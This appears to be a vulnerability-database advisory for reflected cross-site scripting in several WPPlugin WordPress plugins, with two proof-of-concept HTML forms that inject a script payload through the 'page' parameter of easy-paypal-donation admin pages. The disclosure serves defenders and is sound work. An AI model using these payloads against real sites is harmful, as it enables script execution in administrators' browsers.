Lucene search

K
wpexploitWpvulndbWPEX-ID:34EA00D1-3F45-4550-9D22-5A966E9C01B9
HistoryOct 11, 2021 - 12:00 a.m.

Multiple Plugins from WPPlugin - Reflected Cross-Site Scripting via page Parameter

2021-10-1100:00:00
wpvulndb
293

The plugins do not escape a page parameter before outputting it back in an attribute in various admin pages, leading to Reflected Cross-Site Scripting issues. The issues were reported to the vendor on August 10th, 2021

Example in easy-paypal-donation

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpedon_buttons" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpedon_menu" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>